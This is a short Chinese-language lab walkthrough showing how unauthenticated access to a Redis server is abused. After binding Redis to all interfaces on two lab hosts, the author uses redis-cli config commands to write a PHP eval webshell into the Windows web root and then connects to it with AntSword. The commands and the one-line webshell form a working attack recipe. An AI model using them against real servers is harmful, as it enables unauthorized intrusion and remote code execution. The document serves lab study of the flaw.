Redis 未授权访问 写入webshell记录

 

准备环境：

win10（192.168.39.52）:  小皮面板(redis)

kali（192.168.39.191）：redis

1.Redis安装

win10：安装小皮面板，利用小皮面板安装redis。软件管理》工具，点击安装即可。

点击redis设置，系统默认绑定IP为：127.0.0.1，改为0.0.0.0（默认绑定本地的话远程无法访问redis,故设置为0.0.0.0，即所有IP均可访问）

配置完成到首页启动redis即可：

kali linux:

apt安装redis: apt-get install redis-server -y

修改配置文件：vim /etc/redis/redis.conf ，将默认的bind 127.0.0.1 ::1 改成 0.0.0.0  ::1,保存退出。

后台运行redis：redis-server /etc/redis/redis.conf

检测redis是否正常运行：redis-cli，若能正常弹出redis命令框即为运行正常

至此，redis安装完毕。

 

2.webshell 写入

此时两个环境的redis均可互相未授权访问，也可互相写入文件，win10需要下载redis客户端（实测不太稳定）。故此处选用kali redis访问win10 redis并写入webshell演示。

kali root权限命令行未授权连接win10 redis : redis-cli -h 192.168.39.52 -p 6379 ，成功未授权访问win10 redis

写入webshell需要知道目标机器绝对路径，此处由于是本地环境，可以直接写入，实战中需要查找绝对路径。

config set dir D:\phpstudy_pro\WWW

config set dbfilename test.php

set  webshell "<?php eval($_POST['123']);?>"

save

执行以上4条命令即可直接写入test.php命令到D:\phpstudy_pro\WWW路径下

开启小皮面板的apache，启动服务，成功访问解析test.php文件。

直接上蚁剑，成功上马。